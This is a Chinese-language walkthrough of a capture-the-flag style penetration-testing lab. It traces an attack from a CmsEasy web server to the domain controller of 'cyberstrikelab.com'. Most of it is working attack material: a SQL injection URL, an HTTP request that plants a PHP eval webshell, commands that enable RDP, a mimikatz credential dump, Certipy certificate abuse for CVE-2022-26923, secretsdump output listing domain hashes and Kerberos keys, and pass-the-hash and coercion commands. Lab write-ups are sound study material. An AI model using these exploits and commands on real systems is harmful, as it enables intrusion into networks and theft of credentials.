信息收集

开局一个ip

172.5.33.6

fscan扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
D:\red\内网\免杀工具包\免杀工具包\fscan2.0.1>fscan.exe -h 172.5.33.6
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1

[2025-05-21 18:35:48] [INFO] 开始信息扫描
[2025-05-21 18:35:48] [INFO] 最终有效主机数量: 1
[2025-05-21 18:35:48] [INFO] 开始主机扫描
[2025-05-21 18:35:48] [INFO] 使用所有可用插件(已排除本地敏感插件)
[2025-05-21 18:35:48] [INFO] 有效端口数量: 233
[2025-05-21 18:35:48] [SUCCESS] 端口开放 172.5.33.6:80
[2025-05-21 18:35:50] [SUCCESS] 端口开放 172.5.33.6:135
[2025-05-21 18:35:50] [SUCCESS] 端口开放 172.5.33.6:139
[2025-05-21 18:35:53] [SUCCESS] 端口开放 172.5.33.6:445
[2025-05-21 18:35:57] [SUCCESS] 端口开放 172.5.33.6:3306
[2025-05-21 18:36:40] [INFO] 存活端口数量: 5
[2025-05-21 18:36:40] [INFO] 开始漏洞扫描
[2025-05-21 18:36:41] [SUCCESS] 网站标题 http://172.5.33.6 状态码:200 长度:77277 标题:中文 网页标题
[2025-05-21 18:36:43] [SUCCESS] NetInfo 扫描结果
目标主机: 172.5.33.6
主机名: WIN-784BAKDI0AC
发现的网络接口:
IPv4地址:
└─ 172.5.33.6
└─ 10.6.6.10
[2025-05-21 18:39:23] [SUCCESS] 扫描已完成: 9/9

外围打点

flag01

扫的过程中访问一下80端口

看见**CmsEasy**

搜历史漏洞

看见说url加上/admin为后台路径

http://172.5.33.6/admin

就可以看见版本了

再根据版本**CmsEasyV7.7.5**搜索历史漏洞

https://www.saury.net/919.html

这有个sql注入直接注出账号密码

cmd5上解密得密码为admin123456

1
http://172.5.33.6//?case=crossall&act=execsql&sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5

然后找后台rce

https://jdr2021.github.io/2021/10/14/CmsEasy_7.7.5_20211012%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E5%92%8C%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/#%E5%AE%89%E8%A3%85%E5%8C%85%E4%B8%8B%E8%BD%BD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 172.5.33.6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
Origin: http://172.5.33.6
Sec-Gpc: 1
Connection: keep-alive
Referer: http://172.5.33.6/index.php?case=template&act=save&admin_dir=admin&site=default
Cookie: PHPSESSID=budvv591qp9v5g56cn1jh2vsn7; loginfalse=0; lockingfalseadmin=4; lockingfalsecmseasy=3; lockingfalseadmin1231231=1; login_username=admin; login_password=9776624e56cfa87e5d04672056ffeac9
Upgrade-Insecure-Requests: 1

sid=#data_d_.._d_.._d_.._d_1.php&slen=693&scontent=<?php echo 123;eval($_POST['a']);phpinfo();?>

上传后文件位于根目录

http://172.5.33.6/1.php

连接蚁剑

后渗透

flag02

这里我以为还是外网vps,结果相当于内网的环境

这里传的话建议本地起个vshell传文件,或者python开web服务传

因为蚁剑传的工具不完整

先传stowaway上去(因为其可以开个伪交互式shell)

挂载代理

1
2
3
windows_x64_admin.exe -l 1122

windows_x64_agent.exe -c 172.16.233.2:1122

搭建sock隧道

stowaway直接开shell

由于第一台的flag 我们已经找到了,那这里就不提权了

直接内网横向

看到另一个内网段为

10.6.6.10/24

上传fscan扫内网

这里一开始上传的2.0.1版本,发现扫不全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
C:\Users\Public>fscan.exe -h 10.6.6.10/24
fscan.exe -h 10.6.6.10/24
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1

[2025-05-21 11:39:10] [INFO] 开始信息扫描
[2025-05-21 11:39:10] [INFO] CIDR范围: 10.6.6.0-10.6.6.255
[2025-05-21 11:39:10] [INFO] generate_ip_range_full
[2025-05-21 11:39:10] [INFO] 解析CIDR 10.6.6.10/24 -> IP范围 10.6.6.0-10.6.6.255
[2025-05-21 11:39:10] [INFO] 最终有效主机数量: 256
[2025-05-21 11:39:10] [INFO] 开始主机扫描
[2025-05-21 11:39:10] [INFO] 使用所有可用插件(已排除本地敏感插件)
[2025-05-21 11:39:10] [SUCCESS] 目标 10.6.6.10 存活 (ICMP)
[2025-05-21 11:39:10] [SUCCESS] 目标 10.6.6.55 存活 (ICMP)
[2025-05-21 11:39:10] [SUCCESS] 目标 10.6.6.88 存活 (ICMP)
[2025-05-21 11:39:13] [INFO] 存活主机数量: 3
[2025-05-21 11:39:13] [INFO] 有效端口数量: 233
[2025-05-21 11:39:13] [SUCCESS] 端口开放 10.6.6.10:80
[2025-05-21 11:39:13] [SUCCESS] 端口开放 10.6.6.55:80
[2025-05-21 11:39:16] [SUCCESS] 端口开放 10.6.6.55:88
[2025-05-21 11:39:18] [SUCCESS] 端口开放 10.6.6.55:139
[2025-05-21 11:39:18] [SUCCESS] 端口开放 10.6.6.10:139
[2025-05-21 11:39:18] [SUCCESS] 端口开放 10.6.6.88:135
[2025-05-21 11:39:18] [SUCCESS] 端口开放 10.6.6.55:135
[2025-05-21 11:39:18] [SUCCESS] 端口开放 10.6.6.10:135
[2025-05-21 11:39:18] [SUCCESS] 端口开放 10.6.6.88:139
[2025-05-21 11:39:18] [SUCCESS] 端口开放 10.6.6.55:389
[2025-05-21 11:39:19] [SUCCESS] 端口开放 10.6.6.88:445
[2025-05-21 11:39:19] [SUCCESS] 端口开放 10.6.6.55:445
[2025-05-21 11:39:19] [SUCCESS] 端口开放 10.6.6.10:445
[2025-05-21 11:39:28] [SUCCESS] 端口开放 10.6.6.10:3306
[2025-05-21 11:40:23] [INFO] 存活端口数量: 14
[2025-05-21 11:40:23] [INFO] 开始漏洞扫描
[2025-05-21 11:40:24] [SUCCESS] NetInfo 扫描结果
目标主机: 10.6.6.55
主机名: DC
发现的网络接口:
IPv4地址:
└─ 10.6.6.55
[2025-05-21 11:40:24] [SUCCESS] NetInfo 扫描结果
目标主机: 10.6.6.10
主机名: WIN-784BAKDI0AC
发现的网络接口:
IPv4地址:
└─ 172.5.33.6
└─ 10.6.6.10
[2025-05-21 11:40:24] [SUCCESS] NetInfo 扫描结果
目标主机: 10.6.6.88
主机名: cyberweb
发现的网络接口:
IPv4地址:
└─ 10.6.6.88
[2025-05-21 11:40:24] [SUCCESS] 网站标题 http://10.6.6.10 状态码:200 长度:77286 标题:中文 网页标题
[2025-05-21 11:40:24] [SUCCESS] NetBios 10.6.6.88 cyberweb.cyberstrikelab.com Windows Server 2016 Standard 14393
[2025-05-21 11:40:24] [INFO] 系统信息 10.6.6.88 [Windows Server 2016 Standard 14393]
[2025-05-21 11:40:26] [SUCCESS] 网站标题 http://10.6.6.55 状态码:200 长度:703 标题:IIS Windows Server
[2025-05-21 11:40:28] [INFO] 系统信息 10.6.6.55 [Windows Server 2016 Standard 14393]
[2025-05-21 11:40:36] [SUCCESS] SMB认证成功 10.6.6.88:445 administrator:qwe123!@#
[2025-05-21 11:40:46] [INFO] SMB2共享信息 10.6.6.88:445 admin Pass:123 共享:[ADMIN$ C$ IPC$ smb]
[2025-05-21 11:40:46] [INFO] SMB2共享信息 10.6.6.88:445 admin Pass:Admin@123 共享:[ADMIN$ C$ IPC$ smb]
[2025-05-21 11:40:46] [INFO] SMB2共享信息 10.6.6.88:445 admin Pass:admin@123 共享:[ADMIN$ C$ IPC$ smb]
[2025-05-21 11:40:46] [INFO] SMB2共享信息 10.6.6.88:445 admin Pass:admin1 共享:[ADMIN$ C$ IPC$ smb]
[2025-05-21 11:40:46] [INFO] SMB2共享信息 10.6.6.88:445 admin Pass:admin111 共享:[ADMIN$ C$ IPC$ smb]
[2025-05-21 11:40:46] [INFO] SMB2共享信息 10.6.6.88:445 admin Pass:admin123!@# 共享:[ADMIN$ C$ IPC$ smb]
[2025-05-21 11:40:46] [INFO] SMB2共享信息 10.6.6.88:445 admin Pass:admin#123 共享:[ADMIN$ C$ IPC$ smb]
[2025-05-21 11:43:13] [SUCCESS] 扫描已完成: 26/26

后来重新传了个旧版本的,也还是不太行,看别的师傅的2.0.0版本最好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
C:\Users\Public\Videos>fscan.exe -h 10.6.6.10/24
fscan.exe -h 10.6.6.10/24

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.1
start infoscan
(icmp) Target 10.6.6.10 is alive
(icmp) Target 10.6.6.55 is alive
(icmp) Target 10.6.6.88 is alive
[*] Icmp alive hosts len is: 3
10.6.6.55:88 open
10.6.6.10:3306 open
10.6.6.88:445 open
10.6.6.55:445 open
10.6.6.10:445 open
10.6.6.88:139 open
10.6.6.55:139 open
10.6.6.10:139 open
10.6.6.88:135 open
10.6.6.55:135 open
10.6.6.10:135 open
10.6.6.55:80 open
10.6.6.10:80 open
[*] alive ports len is: 13
start vulscan
[+] NetInfo:
[*]10.6.6.10
[->]WIN-784BAKDI0AC
[->]172.5.33.6
[->]10.6.6.10
[+] NetInfo:
[*]10.6.6.88
[->]cyberweb
[->]10.6.6.88
[+] NetInfo:
[*]10.6.6.55
[->]DC
[->]10.6.6.55
[*] WebTitle:http://10.6.6.55 code:200 len:703 title:IIS Windows Server
[*] 10.6.6.88 (Windows Server 2016 Standard 14393)
[*] 10.6.6.55 (Windows Server 2016 Standard 14393)
[*] 10.6.6.88 CYBERSTRIKELAB\CYBERWEB Windows Server 2016 Standard 14393
[*] 10.6.6.55 [+]DC __MSBROWSE__\DC Windows Server 2016 Standard 14393
[*] WebTitle:http://10.6.6.10 code:200 len:77286 title:中文网页标题
[+] http://10.6.6.55 poc-yaml-active-directory-certsrv-detect

整理一下

1
2
3
4
5
域名:cyberstrikelab.com
10.6.6.10 172.5.33.6(已拿下) WIN-784BAKDI0AC 入口机 CMSeasy sql注入获取md5密码、后台任意文件上传
10.6.6.88 cyberweb smb弱口令 administrator qwe123!@#
10.6.6.55 DC AD-CS

横向移动

那么接下来 我们就是先拿下一个域内用户

然后用ADCS拿下域控

先使用smb横向至10.6.6.88

查看一下权限,就是system权限

前面fscan没扫到3389,但是我们是system

直接开启该端口进行rdp

这是问了AI的命令启动

1
2
3
4
5
6
7
#开启rdp
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
#关闭防火墙的防护
netsh advfirewall firewall set rule group="remote desktop" new enable=yes

sc start TermService

启动完之后直接连接

我们可以用smb中的服务直接抓取密码,或者也可以使用Sweetpotato在rdp内进行提权

连上rdp后就可以查看flag2了

1
2
3
4
5
域名:cyberstrikelab.com
10.6.6.10 172.5.33.6(已拿下) WIN-784BAKDI0AC 入口机 CMSeasy sql注入获取md5密码、后台任意文件上传
10.6.6.88 cyberweb (已拿下) smb administrator qwe123!@#
10.6.6.55 DC AD-CS

flag03(拿下域控)

为了方便操作,这里我们直接拖Sweetpotato和mimikatz进去

抓取机器用户的hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt




Authentication Id : 0 ; 23218 (00000000:00005ab2)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2025/5/21 10:32:51
SID :
msv :
[00000003] Primary
* Username : CYBERWEB$
* Domain : CYBERSTRIKELAB
* NTLM : 331dcbb88d1a4847c97eab7c1c168ac8
* SHA1 : 0a4c17b8f051223716e86c36f1dec902e266c773
tspkg :
wdigest :
kerberos :
ssp :
credman :

ADCS

拿到了域内用户即机器用户CYBERWEB$的hash,那么就只剩下CA的名字了

这里我们需要用system执行以下命令

  • System账户拥有完全控制权
  • Administrators组仅有读取权限(默认)

administrator

1
2
3
4

C:\x64>CertUtil
CertUtil: -dump 命令成功完成。

system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
C:\Windows\system32>CertUtil
项 0:
名称: `cyberstrikelab-DC-CA'
部门: `'
单位: `'
区域: `'
省/自治区: `'
国家/地区: `'
配置: `DC.cyberstrikelab.com\cyberstrikelab-DC-CA'
Exchange 证书: `'
签名证书: `'
描述: `'
服务器: `DC.cyberstrikelab.com'
颁发机构: `cyberstrikelab-DC-CA'
净化的名称: `cyberstrikelab-DC-CA'
短名称: `cyberstrikelab-DC-CA'
净化的短名称: `cyberstrikelab-DC-CA'
标记: `1'
Web 注册服务器: `'
CertUtil: -dump 命令成功完成。

获取到CA的名字为cyberstrikelab-DC-CA

那么就可以进行ADCS攻击了

https://xz.aliyun.com/news/13175

我们需要先新建一个域内机器用户,因为原机器用户,我们并不知道其明文密码,但是后面的adcs攻击需要明文密码

1
proxychains4 certipy account create -u CYBERWEB$ -hashes 331dcbb88d1a4847c97eab7c1c168ac8  -dc-ip 10.6.6.55 -user hub -dns DC.cyberstrikelab.com -debug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿kali)-[/home/kali/red/Certipy-4.8.2]
└─# proxychains4 certipy account create -u CYBERWEB$ -hashes 331dcbb88d1a4847c97eab7c1c168ac8 -dc-ip 10.6.6.55 -user hub -dns DC.cyberstrikelab.com -debug
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Authenticating to LDAP server
[proxychains] Strict chain ... 192.168.72.1:1123 ... 10.6.6.55:636 ... OK
[+] Bound to ldaps://10.6.6.55:636 - ssl
[+] Default path: DC=cyberstrikelab,DC=com
[+] Configuration path: CN=Configuration,DC=cyberstrikelab,DC=com
[*] Creating new account:
sAMAccountName : hub$
unicodePwd : zgO22XEpVfG6Mr8m
userAccountControl : 4096
servicePrincipalName : HOST/hub
RestrictedKrbHost/hub
dnsHostName : DC.cyberstrikelab.com
[*] Successfully created account 'hub$' with password 'zgO22XEpVfG6Mr8m'
1
certipy find -u <username@domain> -p <password> -dc-ip <dc_ip> -vulnerable -timeout 30 -debug

用以下的命令探测能打什么漏洞

1
proxychains4 certipy find -u 'hub$@cyberstrikelab.com' -p 'zgO22XEpVfG6Mr8m' -dc-ip 10.6.6.55 -vulnerable -timeout 30 -debug
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(root㉿kali)-[/home/kali/red/Certipy-4.8.2]
└─# proxychains4 certipy find -u 'hub$@cyberstrikelab.com' -p 'zgO22XEpVfG6Mr8m' -dc-ip 10.6.6.55 -vulnerable -timeout 30 -debug
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Authenticating to LDAP server
[proxychains] Strict chain ... 192.168.72.1:1123 ... 10.6.6.55:636 ... OK
[+] Bound to ldaps://10.6.6.55:636 - ssl
[+] Default path: DC=cyberstrikelab,DC=com
[+] Configuration path: CN=Configuration,DC=cyberstrikelab,DC=com
[+] Adding Domain Computers to list of current user's SIDs
[+] List of current user's SIDs:
CYBERSTRIKELAB.COM\Domain Computers (S-1-5-21-4286488488-1212600890-1604239976-515)
CYBERSTRIKELAB.COM\hub (S-1-5-21-4286488488-1212600890-1604239976-1105)
CYBERSTRIKELAB.COM\Users (CYBERSTRIKELAB.COM-S-1-5-32-545)
CYBERSTRIKELAB.COM\Authenticated Users (CYBERSTRIKELAB.COM-S-1-5-11)
CYBERSTRIKELAB.COM\Everyone (CYBERSTRIKELAB.COM-S-1-1-0)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[+] Trying to resolve 'DC.cyberstrikelab.com' at '10.6.6.55'
[*] Trying to get CA configuration for 'cyberstrikelab-DC-CA' via CSRA
[+] Trying to get DCOM connection for: 224.0.0.1
[proxychains] Strict chain ... 192.168.72.1:1123 ... DC.cyberstrikelab.com:135 ... OK
[!] Got error while trying to get CA configuration for 'cyberstrikelab-DC-CA' via CSRA: Can't find a valid stringBinding to connect
[*] Trying to get CA configuration for 'cyberstrikelab-DC-CA' via RRP
[proxychains] Strict chain ... 192.168.72.1:1123 ... DC.cyberstrikelab.com:445 ... OK
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[+] Connected to remote registry at 'DC.cyberstrikelab.com' (224.0.0.1)
[*] Got CA configuration for 'cyberstrikelab-DC-CA'
[+] Resolved 'DC.cyberstrikelab.com' from cache: 224.0.0.1
[+] Connecting to 224.0.0.1:80
[proxychains] Strict chain ... 192.168.72.1:1123 ... DC.cyberstrikelab.com:80 ... OK
[*] Saved BloodHound data to '20250521084515_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250521084515_Certipy.txt'
[*] Saved JSON output to '20250521084515_Certipy.json'

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
Certificate Authorities
0
CA Name : cyberstrikelab-DC-CA
DNS Name : DC.cyberstrikelab.com
Certificate Subject : CN=cyberstrikelab-DC-CA, DC=cyberstrikelab, DC=com
Certificate Serial Number : 652A47597C7F03824B7815EBE474E40B
Certificate Validity Start : 2025-04-22 07:45:38+00:00
Certificate Validity End : 2030-04-22 07:55:38+00:00
Web Enrollment : Enabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : CYBERSTRIKELAB.COM\Administrators
Access Rights
ManageCertificates : CYBERSTRIKELAB.COM\Administrators
CYBERSTRIKELAB.COM\Domain Admins
CYBERSTRIKELAB.COM\Enterprise Admins
ManageCa : CYBERSTRIKELAB.COM\Administrators
CYBERSTRIKELAB.COM\Domain Admins
CYBERSTRIKELAB.COM\Enterprise Admins
Enroll : CYBERSTRIKELAB.COM\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
Certificate Templates
0
Template Name : DC
Display Name : DC
Certificate Authorities : cyberstrikelab-DC-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : 16777216
65536
Extended Key Usage : Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : CYBERSTRIKELAB.COM\Domain Users
CYBERSTRIKELAB.COM\Domain Admins
CYBERSTRIKELAB.COM\Domain Computers
CYBERSTRIKELAB.COM\Enterprise Admins
CYBERSTRIKELAB.COM\Authenticated Users
Object Control Permissions
Owner : CYBERSTRIKELAB.COM\Administrator
Write Owner Principals : CYBERSTRIKELAB.COM\Domain Admins
CYBERSTRIKELAB.COM\Enterprise Admins
CYBERSTRIKELAB.COM\Administrator
Write Dacl Principals : CYBERSTRIKELAB.COM\Domain Admins
CYBERSTRIKELAB.COM\Enterprise Admins
CYBERSTRIKELAB.COM\Administrator
Write Property Principals : CYBERSTRIKELAB.COM\Domain Admins
CYBERSTRIKELAB.COM\Enterprise Admins
CYBERSTRIKELAB.COM\Administrator
[!] Vulnerabilities
ESC1 : 'CYBERSTRIKELAB.COM\\Domain Computers' and 'CYBERSTRIKELAB.COM\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication

发现ESC1(和**CVE-2022-26923差不多**)和ESC8都可以打

但是我们先跟着我看的那位师傅的wp打下面这个吧

CVE-2022-26923(ADCS提权漏洞)

使用创建好的机器账号申请Machine账户证书,记得加上timeout 30

防止连接超时

1
proxychains4 certipy req -u 'hub$@cyberstrikelab.com' -p 'zgO22XEpVfG6Mr8m' -ca 'cyberstrikelab-DC-CA' -target 10.6.6.55 -template 'Machine' -debug -timeout 30 -dc-ip 10.6.6.55
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[/home/kali/red/Certipy-4.8.2]
└─# proxychains4 certipy req -u 'hub$@cyberstrikelab.com' -p 'zgO22XEpVfG6Mr8m' -ca 'cyberstrikelab-DC-CA' -target 10.6.6.55 -template 'Machine' -debug -timeout 30 -dc-ip 10.6.6.55
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.6.6.55[\pipe\cert]
[proxychains] Strict chain ... 192.168.72.1:1123 ... 10.6.6.55:445 ... OK
[+] Connected to endpoint: ncacn_np:10.6.6.55[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 6
[*] Got certificate with DNS Host Name 'DC.cyberstrikelab.com'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'dc.pfx'

利用该证书就可以获得域控机器用户的hash了

1
proxychains4 certipy auth -pfx dc.pfx -dc-ip 10.6.6.55 -debug
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[/home/kali/red/Certipy-4.8.2]
└─# proxychains4 certipy auth -pfx dc.pfx -dc-ip 10.6.6.55 -debug
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: dc$@cyberstrikelab.com
[*] Trying to get TGT...
[proxychains] Strict chain ... 192.168.72.1:1123 ... 10.6.6.55:88 ... OK
[*] Got TGT
[*] Saved credential cache to 'dc.ccache'
[*] Trying to retrieve NT hash for 'dc$'
[proxychains] Strict chain ... 192.168.72.1:1123 ... 10.6.6.55:88 ... OK
[*] Got hash for 'dc$@cyberstrikelab.com': aad3b435b51404eeaad3b435b51404ee:d1ed4102e40bc473c02156fd10f008ae

DCSync

接下来 用机器用户的hash进行DCSync获取域管的hash

1
2
3
4
5
python secretsdump.py cyberstrikelab.com/dc$@10.6.6.55 -hashes aad3b435b51404eeaad3b435b51404ee:d1ed4102e40bc473c02156fd10f008ae

或

proxychains4 impacket-secretsdump cyberstrikelab.com/dc\$@10.6.6.55 -hashes aad3b435b51404eeaad3b435b51404ee:d1ed4102e40bc473c02156fd10f008ae
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
D:\red\内网\免杀工具包\免杀工具包\impacket-0.12.0\examples>python secretsdump.py cyberstrikelab.com/dc$@10.6.6.55 -hashes aad3b435b51404eeaad3b435b51404ee:d1ed4102e40bc473c02156fd10f008ae
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:28cfbc91020438f2a064a63fff9871fa:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:416f4ea64c9c73ad29a4a69dcee5d8ca:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
cyberstrikelab.com\cslab:1104:aad3b435b51404eeaad3b435b51404ee:39b0e84f13872f51efb3b8ba5018c517:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:d1ed4102e40bc473c02156fd10f008ae:::
CYBERWEB$:1103:aad3b435b51404eeaad3b435b51404ee:331dcbb88d1a4847c97eab7c1c168ac8:::
hub$:1105:aad3b435b51404eeaad3b435b51404ee:425be14f48c91891c632fcb423d96677:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:8583c13a9eca67e085ff0b68af74316bef0ebd3fb197bb235b76cbb72358f2ef
Administrator:aes128-cts-hmac-sha1-96:6012285d474e3b60086965219ac7e31c
Administrator:des-cbc-md5:208fc8f42fae3132
krbtgt:aes256-cts-hmac-sha1-96:0b820697b640266ced6843c4041131c1e3750000e00d47c0c597a82547927337
krbtgt:aes128-cts-hmac-sha1-96:c8f683e4cf2033fd75416667670e13bb
krbtgt:des-cbc-md5:23dc674a76bf7adc
cyberstrikelab.com\cslab:aes256-cts-hmac-sha1-96:34439b0bf9f6e1bf57d4d859215ed387a9c75e944ac053ddd1bc2f1e5b162048
cyberstrikelab.com\cslab:aes128-cts-hmac-sha1-96:84a132b5db39e2e652c08b8148fecb00
cyberstrikelab.com\cslab:des-cbc-md5:46f457ef2aad0e08
DC$:aes256-cts-hmac-sha1-96:020a0f314a1635101d5251bf713b08c65679dc886f7c2fc2d2274ae8c33c46b3
DC$:aes128-cts-hmac-sha1-96:5cc472eacb83037eda8997e293306a83
DC$:des-cbc-md5:d57aef07ce80073e
CYBERWEB$:aes256-cts-hmac-sha1-96:c6e9eb6e232ffd2ff68c00d395857e6755813182e361efa4b712b9a9fc2b19ff
CYBERWEB$:aes128-cts-hmac-sha1-96:b19d111ada0db2ea3020447ed4df7151
CYBERWEB$:des-cbc-md5:9249dae9e60d4a38
hub$:aes256-cts-hmac-sha1-96:216bcf9977492c4aa8a8d9938a70b4123df42e3f2abf69aec6902859ee6aa912
hub$:aes128-cts-hmac-sha1-96:45bc9f906966bf97cb96d7e630c10127
hub$:des-cbc-md5:f851136ec7855b23
[*] Cleaning up...

然后PTH提到域控就OK了

PTH

1
python D:\red\内网\免杀工具包\免杀工具包\impacket-0.12.0\examples\wmiexec.py cyberstrikelab.com/administrator@10.6.6.55  -hashes 00000000000000000000000000000000:28cfbc91020438f2a064a63fff9871fa -codec gbk

复盘

指纹识别后打SQL注入获取后台账密——》后台任意文件上传getshell——》SMB爆破密码横向第一台机子——》sweetpotato提权system——》与域内通讯通过ADCS与DCSync获取域管hash——》PTH拿下域控

ESC8

前面扫出来

ESC8 是指注册服务已安装并通过 HTTP 启用 Web 注册,从而可以利用NTLM中继。这个实战环境好像挺难,因为需要目标向监听服务器发起请求,内网基本不出网,不知道大佬操作了,估计别的大哥有别的方式。

这个有两种打法,一个就是上面的web注册(https://xz.aliyun.com/news/13175)这篇文章有写

用打印机提权强制触发回连(也没成功)

1
proxychains4 python Coercer.py coerce -l 172.16.233.2 -t 10.6.6.55 -u 'hub$' -p 'zgO22XEpVfG6Mr8m' -d cyberstrikelab.com -v

发现需要机子出网,那利用条件太苛刻了,打不成功,最终应该是ESC1和提权那个可以利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(root㉿kali)-[/home/kali/red/Coercer-2.4.3]
└─# proxychains4 python Coercer.py coerce -l 172.16.233.2 -t 10.6.6.55 -u 'hub$' -p 'zgO22XEpVfG6Mr8m' -d cyberstrikelab.com -v
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
______
/ ____/___ ___ _____________ _____
/ / / __ \/ _ \/ ___/ ___/ _ \/ ___/
/ /___/ /_/ / __/ / / /__/ __/ / v2.4.3
\____/\____/\___/_/ \___/\___/_/ by @podalirius_

[info] Starting coerce mode
[info] Scanning target 10.6.6.55
[proxychains] Strict chain ... 192.168.72.1:1123 ... 10.6.6.55:445 ... OK
